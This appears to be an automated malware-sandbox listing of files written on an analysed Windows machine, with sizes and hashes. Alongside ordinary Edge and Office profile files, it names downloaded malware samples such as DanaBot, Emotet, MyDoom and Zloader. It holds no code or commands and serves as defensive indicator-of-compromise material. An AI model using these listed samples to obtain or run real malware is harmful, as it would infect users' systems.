99d0d9c816a680d7c0a28845aab7e8f33084688b1f3be4845f9cca596384b7a0811b9586c86ba9152de54cafcdea5871a6febbee1d5b3df6c778cdcb66f42cfa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.15\edge_autofill_global_block_list.json

Filesize
4KB

MD5
afb6f8315b244d03b262d28e1c5f6fae

SHA1
a92aaff896f4c07bdea5c5d0ab6fdb035e9ec71e

SHA256
a3bcb682dd63c048cd9ca88c49100333651b4f50de43b60ec681de5f8208d742

SHA512
d80e232da16f94a93cfe95339f0db4ff4f385e0aa2ba9cbd454e43666a915f8e730b615085b45cc7c029aa45803e5aca61b86e63dac0cf5f1128beed431f9df0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.15\v1FieldTypes.json

Filesize
509KB

MD5
c1a0d30e5eebef19db1b7e68fc79d2be

SHA1
de4ccb9e7ea5850363d0e7124c01da766425039c

SHA256
f3232a4e83ffc6ee2447aba5a49b8fd7ba13bcfd82fa09ae744c44996f7fcdd1

SHA512
f0eafae0260783ea3e85fe34cc0f145db7f402949a2ae809d37578e49baf767ad408bf2e79e2275d04891cd1977e8a018d6eeb5b95e839083f3722a960ccb57a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
8272581d8cb38484cc8cb6afbdd0d37e

SHA1
2baa96a0439003aabaad1ce5619ea0a581cf261a

SHA256
025356bf819ea8a5da44ac2c4510bc380a9448247a30665577430ca7a44ca297

SHA512
60574186c595b0018d9223afd38e59378b1b00ef4f39be17ef2d7613cdac5b8f9e6dc3f2efefd559a0e4e8d64884d6ea155e874df13f170bb6dfbb41a0104959

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
6KB

MD5
871f99dcec625df8736437ebdf25351a

SHA1
d88de97c9fda7a1a2198740e078dfd7167058910

SHA256
93d10811e47a599d0642bee0de916353262db3568cfac83815042a9106faf0e6

SHA512
41a8e34dce7f86bf0cb5a3c21e979d09e1afb2860915062171dcea323752b7dd5a21f45ecf22332d3ad1dda264d422449a7fb4a4bf9204d88f805231ca733d24

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5828ff.TMP

Filesize
3KB

MD5
263e56b594d52553d646bd70826e5b83

SHA1
8b245fa93197f3dcdc49a92d611afc63d9e62527

SHA256
a8587671d32387742d59a9aeb983d301bec142b00fd14acbb2c3601ea9d49b13

SHA512
370ed05c89377d4c60525372e477f0dd1fe4a93bdecd8844230efea310ca6d65bfbaf1c91ed0791b967dbffec528960c663c15ca2446e64e0ca67643896fef79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

Filesize
107KB

MD5
2b66d93c82a06797cdfd9df96a09e74a

SHA1
5f7eb526ee8a0c519b5d86c845fea8afd15b0c28

SHA256
d4c064db769b3c109da2ed80a53fbab00987c17421a47921e41e213781d67954

SHA512
95e45c0aea0e704be5f512dffaae377d4abef78da99b3bca769264d69be20f2570daf2f47905645217e1b2696e42b101f26149219f148b4d6dd97a6c2868b6f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
5KB

MD5
16e32ac6709005f4b51e9832b39c0a73

SHA1
63a9b97f50ec3a3beec672111ef3686fe04fc841

SHA256
381b863624d4b567e7fb1f299bc987d66b2a358e3811cc4adaa8191ec19e3783

SHA512
83c8cde576cb858200f527a2b1128d6c887774be3ea48083c218206f6004abc282e8efe33d51d024d5801a60d48209f94225dadba54107dcabcdf2e226fbe1cb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
211B

MD5
d190709b70aeafc666364ff6bcdaab02

SHA1
6843d4f148ea4f24e27527b803db39d6bace6b60

SHA256
b1e15a6160dc3bdbb2fdd09408c469af17ceff6d9856dbba1e6533071a12e86a

SHA512
9655ed7b5ae6324376cf9073cb8b073726991f7cb5a0bbc64e04617ff105da1ac59ccb4bb1938088e3ac9a689157f6ff3673d46e22ed73eb42886fc8452a24ad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
40B

MD5
20d4b8fa017a12a108c87f540836e250

SHA1
1ac617fac131262b6d3ce1f52f5907e31d5f6f00

SHA256
6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

SHA512
507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
19KB

MD5
33749697779da0dfcc7bd5ed7ed4f6da

SHA1
b42c927b89d17c7104873a2c5adf92297aa6dc32

SHA256
0fefa4e61196913086b50a7b0acfeae6af8044ce32dea86a2effd5c974623b6f

SHA512
0ce0a65ab8d852cc591418f9834b6b8bffbbf6d778425aadc5a2562347cd90ebe0170f29ee5b72c74f4aceebc1343ed2ddd43ea10c932251e6cc40da2b3a8d42

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
17KB

MD5
9d6ea51acb75fefeb6dc287102fe56dc

SHA1
21a94fbd2fd0c6a449bbedaebb7fa4fbded8e3f9

SHA256
f029b9a98147dba61b6544552edc42af37ae2de4377ada4215ac01b5924f3194

SHA512
8464f1b4ddd611aeba9e4d54fba5b60233460377b278f2c4cda8dc372626ea406c32c8b37a1a6bc48d673a6deff7eb81f67c47291c6c2e0bf63bd68a71305eb6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
19KB

MD5
27d4ca198c6f49badf7226c64d5d71c2

SHA1
386f8b9f3159b06c73a5f681f58953b7f27f85cd

SHA256
06a9706c2b6cc86015ddf1327a513b390e2abb6b8a45993120319fe22daee318

SHA512
4b312f05f3e9805eeff3d4b00bdc52b534e307f12d44a4aac50dfe712e56635019d51a0188c946c87f5b741554fb9c06866cf4bc98dc7f1e6eb214b7955c304e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
37KB

MD5
ff2ae5e9801475910fa23d3796834f2c

SHA1
b05ac8e8c1a3cbc402eff4c2a6d155a32848560e

SHA256
576fb72c2a8106efd6a7c209ba2c1ec09c594923c0dbc4079438403c2910f1b8

SHA512
83c033324a1ed6b57c961ad2e871590b67053c3636f3365df3e923f9aedad8c493a097a03e90c34f43bfdbfdd82bc6baa7f14f9501871127bffd2eefede78a8c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log

Filesize
22KB

MD5
ef1bfe0103038e50543c98eb92106249

SHA1
4e968cff57168f6be8604dfcee187c1738925850

SHA256
362bdcecb06dd29607851cd13c22a4ff94d052d088613a8a295289b5b3da15e2

SHA512
746850d17a19d702c184bc42b3c730b346bc66599251ab4ac4c2db49c1e560b3af8eae2e41a032947ca6cbe7727bb58ac437b648bc85d602bcbe9f78869bbe99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
467B

MD5
b05119a1ccaf0a4d3d1629da92a4a248

SHA1
b971c3e9e391047a110df5f0ec8c4336bdc784e9

SHA256
4083f34350e7499321c2a31b273fedb898cec23b3153b686cba0495b81360f8b

SHA512
2301c683364bb4aee753c518074de87d36bcb786dccc3e9b4d363e0b7c34c9db8b40976ff891c00ca5acd0f09797b53311e84343aadb65417c4ef6256234d09e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
23KB

MD5
c8646e94a85740d72ec6f1dd7200ed6f

SHA1
b5873b4d2010098087be0044bdda9fee7737f8f3

SHA256
ceaeb5c8262f41072295b09b25725d6f5fbfd4344c4c49a91ba5519426f09ce3

SHA512
4e79e69432f657b4e01ff02f007598f3ed66bbf0aa3ae105d236ea9657142bccc3616ea5a43c8afb735141ae0c2e92b8fb26a0369bed4e26946494b7035f9721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
900B

MD5
25661c9957bbd2a29215391b7c139d61

SHA1
7b6dbf39f6da7ef1a2c3fe375b6acf50db9c670a

SHA256
b6119ca5619dbde2bf48b803908d6958ca9b889cf2d65bb5f8738f174a2ed5ea

SHA512
c4c24135880eb885cc8074c12f02d79e5023eabcb580d12fadd5ad17949e4cd90879ceccf731996f439d822440ca9439b1b79f86407849fad53d6e149fcf708a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\daea0017-ecff-4adc-a3e2-fa92a762407e.tmp

Filesize
19KB

MD5
41c1930548d8b99ff1dbb64ba7fecb3d

SHA1
d8acfeaf7c74e2b289be37687f886f50c01d4f2f

SHA256
16cee17a989167242dd7ee2755721e357dd23bcfcb61f5789cc19deafe7ca502

SHA512
a684d61324c71ac15f3a907788ab2150f61e7e2b2bf13ca08c14e9822b22336d0d45d9ff2a2a145aa7321d28d6b71408f9515131f8a1bd9f4927b105e6471b75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
55KB

MD5
157b4a2074414937f818319be9b95d2b

SHA1
99925937d25f3caf0ef2e21487cdd59b189a6553

SHA256
6cacb095f0481c3318a198f4046a562d549af0a56bb21df4ca2b4a9c9fb20d83

SHA512
d3db9f38f4a6bc355435fd465bfe2b458c0f23563b57921bc7a783e678bacf11bf6601370d13fe30b78616debb854c8c78e6ec65f31a4b1721f79e8d4d5f199b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
55KB

MD5
0d6107ac9cdf7c6219f6a35fc29e5875

SHA1
5819840c486160b61e52628b5f9fd70347f05fbb

SHA256
4ec14a73ba4c1d4efed32afe87abe830d6741e2ddf59bd4434560329137a02d2

SHA512
70908eb16c9b1c06b4d2f00fdf8f9b606d95b2e3458d161c76f0f20277c337188d544a358f4c8243494d56380a18e14703dbf4f8f8c61739f09e5ff85652c82f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
50KB

MD5
b48dac80cd3b962e8a01739c89ec09c8

SHA1
3ae611f2e207a996fd5a9c80501756b5f4cf1ced

SHA256
a29ede7ccdf9bb0036491a248069982e9abe311215bbb4c13ba9a808599b46d6

SHA512
7a91afdb5720eb23f2c92abce45f01fadd7f2fee3157aff28ca17bd526e1dfe5a0184a34df172b65858eb248b50766525a23d675fff42ccab26c7482c34fd216

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
55KB

MD5
4035f65dac545bae118821805e14fcc3

SHA1
56a39aef513d66dfe1150f06ff441b0473c59906

SHA256
226d004b16c7e819512c81d5c51a160491b65549c250595b3448c04d1bb9e52b

SHA512
f6e14a2b0f07ad0392297aed894f30b9359d4a16090e5a98d8830b036ad22d3672f70c55ddd35d7682da5a86276d819af12199aa0784e3ee3557f51c6dc62f15

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
50KB

MD5
a27e0096f9ffac61f234168ecf57cb4a

SHA1
706c407d65831ee7b87dee2cac67f818b7799fda

SHA256
24dc2188825a6f44e5b884760859ddc1616f9182afe231d65d8b3dc83a04f546

SHA512
1316365af7852d87594df8f790de0adae78f9ddac6bcc8e3222de5eba7004bdffefc25daafe53ea9e1e5c59cb7d1179aa8a310f640ff1893afbc5b06be47805b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
55KB

MD5
22aa70de7f7b3e520b56eed892d5c161

SHA1
f54a61d0fedf7d14464a58a8ce5bccc96ee9a66f

SHA256
939d737cc444db0094385f91dc37790b8e45cce9a0f6fd82b932be53b1194209

SHA512
83a81f2a360d02b89e8d2439534654153766380fc51832bda69287e2263f02f3bbfefeb0489d5e4093d61bc5f008624385e7c0b3e0ae3f4a72ff11242554ee54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
55KB

MD5
8f6c15f5f47b457361e067051e24ae3b

SHA1
9006763dc71148e3cf9e8c7cf6ce5a56c54304cd

SHA256
895025bac957be6ec45bafa66a6f9cd454e599875c2dcec9e49330c6eea601fa

SHA512
ca39efeaf5960b3ab3f8b962653d04353e1b2cd25c87568028d01af970249ef8447e251f5063ac6ec52857c8fd5bc1c514111eb4b9b47f797d5b76559f9ff887

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
41KB

MD5
bc3478706653df05011d61ecc3755ddc

SHA1
ad6b9f01118402318ba89362bec52a2274dbaa09

SHA256
e21007e38ffdb7cf22cd5ad72fd18e88399bf3c842f0852b3397b8b19aba29bf

SHA512
d35542e78a945f7500b080fa66bf35957aae91fe6eb93dd24a16de35f2a5efd3eb4dce4175ece88c933b0b90955f714e8dbdedc5804522c91aa3faaa4c562f64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
50KB

MD5
c3cf51ea2664ef1cc64c285d4a661370

SHA1
7ecd87d8c7d99e1e2fee4c87786c594812e979da

SHA256
bfafd34e86fec21f98b67e25b1860cff4683b2a0bf81c1affc8e5a296a7ad445

SHA512
829fead2eb2c971f0a0cf221d00e194b005ecaee02fe1b10782f95d921e2eaa38bf3100ebac96f0337bd26edeeef458293acb01872e76325e082749b69840a64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
55KB

MD5
7cf08a3d69ea365946aae097c38ea741

SHA1
310514187deb9e18f96e0512e402df722ef4d090

SHA256
7b74d5ec8255d4ddd9f806e5aca785b5f9e946b002e4270ff910ac763a5b9fa3

SHA512
d9d2ccb826c5b4ceff41d43407ff7e555f2e3f059eba57503be97d58f910de1a05bca4e177caafb573c00348336f4bcad93f8856ddbd277049dbe1a08d094398

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
41KB

MD5
a173a1255798b0d8168b5505d8833818

SHA1
05ed5d2f4de393f85ed5246cd37e7f025c8180e5

SHA256
e90905e17bd32e4cf13820970f4dba5b8a03063362ae98fc93d5f7b9419ed0a3

SHA512
bcbdced2d933bdea834c3861e3ca95d8ecf0f4a2646110c28d2dd1a057ca2249d8c31dee87ab8f14430c6d2b864277a6b40b72b3c95759013657285a93637052

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
9493fd4992865635475d81134cf88a88

SHA1
5767265af17c8affff975d1e65906fe434db1ec2

SHA256
3422e307244ac3b7089cf26e08da10d1832d8af64b9dc658825e2b98085906ae

SHA512
79b0909ba458073cea42a7ea987a6c75de3d28fa952251363eef20591dc979401e20ae97c841b3146830fbcf2b49caa0c0a864e3cf83730575fec7aaddb01e44

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
f0b9510a86412b1a412f5b3c8854d0dd

SHA1
3bdaa53111937071742fb82a74c509df00fd0199

SHA256
e2d7101efff12bd3c74d1129a93ad878ebc342a7dc817f5cd0c1ac4023db9583

SHA512
d5b42cc07e4cc55a65659e73fb55a6e11161fdd31fb066c321b26e3357254781e925cd505fd25ddaa517a7951062de9ccb679a2e37426ac481e28c46b5f27d49

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
54e37c0eac064b71fab6133bc284c925

SHA1
bf4ee47c7b47482e11dd29d92299286af477194e

SHA256
cfa95542ad2e729ae44da025f3ec7a33247f6ce37eaa1972211de971bf9cb46b

SHA512
dd6b1b731207700626af0535a9d5288da27b32c920d9691c793243d4040e5d830227312c2b538c317e1c6aca58ec84b724e6442abc0e06aeb1f63f3d6969628c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
97b302840931752ca67dc487e338270a

SHA1
5a3277e06f41e3ef39a04594ad271c160a540ce2

SHA256
b0b73f26b5e531a038f0b562d920c7229ff80e68886225983deb373fed362c7a

SHA512
5575e2c0665a0cb62d2aec890022875beed86ca167a2e6eb69e52a20ddb2c8dfe9dd97478996e05ee19d8ea9e4ba0a515a976e9dd0f4229740f88b2f9e06a9ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
0d529c3285596e910a6c243b11ae4189

SHA1
c0357507e80686558896b46b772208e6b58a26ef

SHA256
379b38471a02248920d5bf8c53b46a837a99ac3e3938e319f79a0d501b295228

SHA512
d817840fcf6f6a69cebe11bcce106884ddac87930f6a9b103163895cdb1c11eaedec58fc81fac236495be397fd9fce52fc0cbdf727b3caf8247c19fb95682415

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
5a9cb9efc23445ceedd5894ff0d8a632

SHA1
31b27e53f9256022849d795d3f5765e30d087e73

SHA256
3bec2059010badfdd2b259cdf8b3f585344bff6cb11f78e54270e393aa45b428

SHA512
2098eb6848fdfe8438bcf2d419377898b85c1a1df31d574e4cf8a0296cc97455a271b9b8cf35d5f476c352a207d584f1ac962113cfc6c6242024635c92f70f03

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
4cf896136c261f92a35bfaec4e6d8a02

SHA1
d73e262d45fe93af8a9b12e5c322da7a84526cf5

SHA256
6004adc5626ea3a51b0c7ea9c579ac9077a94567ff8f09e30b860573e78f77b7

SHA512
938fc85c9e32c8074935e49179e4904ca3eb266a9c73779a9b3e3b26da7aa4e606872ab892f224dead4725a1712e1f4a9b601eb481fcbb2df5692ad8f5ad313f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
2151266517c6197c63a4e70cf7366635

SHA1
3446045d53d76cd15b192434c5aea727a013f8b9

SHA256
30ae40acbffbd596645dc474dd9580c93df7c6499eb657db5578d3f7a3f00f65

SHA512
d76aa9c6b589c5aee872fdc82308e06d53917f413f0ea1c828bf2c8323c0ffc065ff2aa80792311b7b1f4b336497eec7f23bf30f4bfda42e95e67b9c9d6c3ae0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter

Filesize
392B

MD5
5730c5eb2fb06dc7c7d2057473ba4de4

SHA1
f842a4866e3f8ad0028eedd516c3b8621a2b15fb

SHA256
920ef580fa1af6c15d3846081aef75107d0c2a58f8ec04a2f8fabc257f0686d1

SHA512
d14b099c8f6766780b68483dcfdb30d96b579b8342fa620f143ebd53a8b027dea421bbd089b8bbb23999af0804d0110ac671148b3690e50463e001f0266a5bf9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter~RFe581e03.TMP

Filesize
392B

MD5
4624d1f9ae28382a5cfe82f43be3d546

SHA1
901e43fbadbe1d0709fdae548c9d77488de9a514

SHA256
584e05972ab4379a7841aabb86846a6acb0e58dbfac180207f4b58a0a2b48767

SHA512
5ec5735dbe0b8a14bf738b9e292c1337b5f2999edf62c0fdce7e5d949b5062278844874c597d7ae4938f0ddeb7b33c450f9e58f5c38358929c1e3e2e4f16a747

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2025.1.17.1\keys.json

Filesize
6KB

MD5
bef4f9f856321c6dccb47a61f605e823

SHA1
8e60af5b17ed70db0505d7e1647a8bc9f7612939

SHA256
fd1847df25032c4eef34e045ba0333f9bd3cb38c14344f1c01b48f61f0cfd5c5

SHA512
bdec3e243a6f39bfea4130c85b162ea00a4974c6057cd06a05348ac54517201bbf595fcc7c22a4ab2c16212c6009f58df7445c40c82722ab4fa1c8d49d39755c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\ghbmnnjooekpmoecnnnilnnbdlolhkhi_1.fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

Filesize
152KB

MD5
dd9bf8448d3ddcfd067967f01e8bf6d7

SHA1
d7829475b2bd6a3baa8fabfaf39af57c6439b35e

SHA256
fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

SHA512
65347df34378c2bbb34417e2cccfb3251a0b2412422cc190eed9df525b6e0a9948e0295ea3c33b3ad873ce81e369e89a138ac41d6eb7229546c3269107e661de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\D017A061-88C2-41CB-B6AB-7E6B84645674

Filesize
178KB

MD5
2be2e3c1b630543402cdcc2a33c2f091

SHA1
883178e671fbcf0d610f39a9f613d8e83fe1249f

SHA256
e743faf905e20c47509a84bd9b51926591e043bcd691aff5704ec621c487b7d2

SHA512
c20e7f46161f54a445b5a6d0a70e03d0e735514ee4b7c9c5a822fba906602d5118acc315e8bf6a92a56f9b26eb2ed0a74b42e67e1753f95ae06b46ec97a4dd91

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\DLP\mip\logs\mip_sdk.miplog

Filesize
12KB

MD5
e3b03ab2187fb25205619e38d9bad395

SHA1
340613938c40da7e6d0ec8a3b204120f01a4cb7a

SHA256
5171a8aab8929cb71e580321363a3865ef4b3b6b62f741f936a2c5ba8cae9c10

SHA512
2a8058314bdb2135b73843c08313a98231759a943832e1fb9605540292680e493823c21e63e5a43114cc378a90cf718c9d3a88ed6a54a4338bf5476f9c9431e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3E0532A3.wmf

Filesize
430B

MD5
2e7f91357ca86767f62846b968121e74

SHA1
907500d8536d1dc9904f52ee291ea0c6fadbc6d4

SHA256
40b7632eafdb217fbc0aaf50623cc73099d073ebc8eaf310acec3145463fdd30

SHA512
ff2f9dad1bc3ce8f8f3da557bfcbb4d2f428595ff6e1ac6f087ac5c16e35cc54bf6290a47a07ce52d33dcfee8fd614dfbe27ba3956a2f761baedd3a180e93724

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\BD4C0BEB.wmf

Filesize
430B

MD5
0a1b7c8a20ffe9bd326d375a8f3524be

SHA1
831388f51d549da9cd33f189c25d16d676406f7e

SHA256
213bb72b085bf6e4d1b34f80885fa84d0d73bc6c2683b45acb2c606d5745d3c8

SHA512
5089ac63119dfbb9b947c31beb49a95209c71b224e18cd0eb682ead28eb0980de1037835b5e8a6014206a26b4ec1012a276561c4041e7abb6dfcdfe9992d8749

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_icpepq3e.gns.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
296B

MD5
b5971f1dc2a6db53246a3c8fda755068

SHA1
1e010cee95afe7595074395db8e6b35e60779c53

SHA256
d2d316ee98db9a0eae7545bdb503a2bb7a3c124a7958f003288aa23b40ff0f05

SHA512
13571285a13ae2ba2b9b5425cefa6ab3123318b8a9d96b829ff8d90ccf4c8983619bcbb1d4949dd0aad41af830bd3080ca98c3ee575328118393e69097604584

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\Downloads\DanaBot.exe.crdownload

Filesize
2.7MB

MD5
48d8f7bbb500af66baa765279ce58045

SHA1
2cdb5fdeee4e9c7bd2e5f744150521963487eb71

SHA256
db0d72bc7d10209f7fa354ec100d57abbb9fe2e57ce72789f5f88257c5d3ebd1

SHA512
aef8aa8e0d16aab35b5cc19487e53583691e4471064bc556a2ee13e94a0546b54a33995739f0fa3c4de6ff4c6abf02014aef3efb0d93ca6847bad2220c3302bd

Download Submit
C:\Users\Admin\Downloads\Emotet.zip

Filesize
102KB

MD5
510f114800418d6b7bc60eebd1631730

SHA1
acb5bc4b83a7d383c161917d2de137fd6358aabd

SHA256
f62125428644746f081ca587ffa9449513dd786d793e83003c1f9607ca741c89

SHA512
6fe51c58a110599ea5d7f92b4b17bc2746876b4b5b504e73d339776f9dfa1c9154338d6793e8bf75b18f31eb677afd3e0c1bd33e40ac58e8520acbb39245af1a

Download Submit
C:\Users\Admin\Downloads\Emotet.zip:Zone.Identifier

Filesize
55B

MD5
0f98a5550abe0fb880568b1480c96a1c

SHA1
d2ce9f7057b201d31f79f3aee2225d89f36be07d

SHA256
2dfb5f4b33e4cf8237b732c02b1f2b1192ffe4b83114bcf821f489bbf48c6aa1

SHA512
dbc1150d831950684ab37407defac0177b7583da0fe13ee8f8eeb65e8b05d23b357722246888189b4681b97507a4262ece96a1c458c4427a9a41d8ea8d11a2f6

Download Submit
C:\Users\Admin\Downloads\MyDoom.A.exe

Filesize
22KB

MD5
53df39092394741514bc050f3d6a06a9

SHA1
f91a4d7ac276b8e8b7ae41c22587c89a39ddcea5

SHA256
fff0ccf5feaf5d46b295f770ad398b6d572909b00e2b8bcd1b1c286c70cd9151

SHA512
9792017109cf6ffc783e67be2a4361aa2c0792a359718434fec53e83feed6a9a2f0f331e9951f798e7fb89421fdc1ac0e083527c3d3b6dd71b7fdd90836023a0

Download Submit
C:\Users\Admin\Downloads\MyPics.a.exe

Filesize
33KB

MD5
94ec47428dabb492af96756e7c95c644

SHA1
189630f835f93aaa4c4a3a31145762fcbbb69a32

SHA256
0ae040287546a70f8a2d5fc2da45a83e253da044bf10246ae77830af971b3359

SHA512
deff74df45328126ac4b501fc6a51835eeb21efa4ae6623328797d41caef6a247b47fc1c245fc8f1d434c0eea3b7c2801b65ed4957e91a50e7b73522502e0454

Download Submit
C:\Users\Admin\Downloads\Pikachu.exe

Filesize
32KB

MD5
715614e09261b39dfa439fa1326c0cec

SHA1
52d118a34da7f5037cde04c31ff491eb25933b18

SHA256
e1dfc005d5403fb2f356276f0abe19df68249ce10e5035450926d56c2f8d3652

SHA512
fe905c388b0711f54941076a29b11f2b605655b4a3f409d9f0f077f2fe91f241401035310daa490afb6df50a6deff5456be5ee86984e7b9069506efa07af51ae

Download Submit
C:\Users\Admin\Downloads\Prolin.exe

Filesize
36KB

MD5
65eeb8a0fce412d7f236f8348357d1c0

SHA1
c31af321819481bcc15b2121f3b5c04481eaf525

SHA256
db0c7e3029fb2a048e7a3e74c9cbf3e8bcec06288b5eafac5aae678d8663bffc

SHA512
fad1b721a6420984e13d2278b1d6b5bd70442ab3517553682880a9a8d90f9d47000ad6069cb68d3218d01bc23f771936bcce2529b646501984b954ae9e9ce573

Download Submit
C:\Users\Admin\Downloads\Windows-KB2670838.msu.exe

Filesize
728KB

MD5
6e49c75f701aa059fa6ed5859650b910

SHA1
ccb7898c509c3a1de96d2010d638f6a719f6f400

SHA256
f91f02fd27ada64f36f6df59a611fef106ff7734833dea825d0612e73bdfb621

SHA512
ccd1b581a29de52d2313a97eb3c3b32b223dba1e7a49c83f7774b374bc2d16b13fba9566de6762883f3b64ed8e80327b454e5d32392af2a032c22653fed0fff8

Download Submit
C:\Users\Admin\Downloads\Zloader.xlsm

Filesize
93KB

MD5
b36a0543b28f4ad61d0f64b729b2511b

SHA1
bf62dc338b1dd50a3f7410371bc3f2206350ebea

SHA256
90c03a8ca35c33aad5e77488625598da6deeb08794e6efc9f1ddbe486df33e0c

SHA512
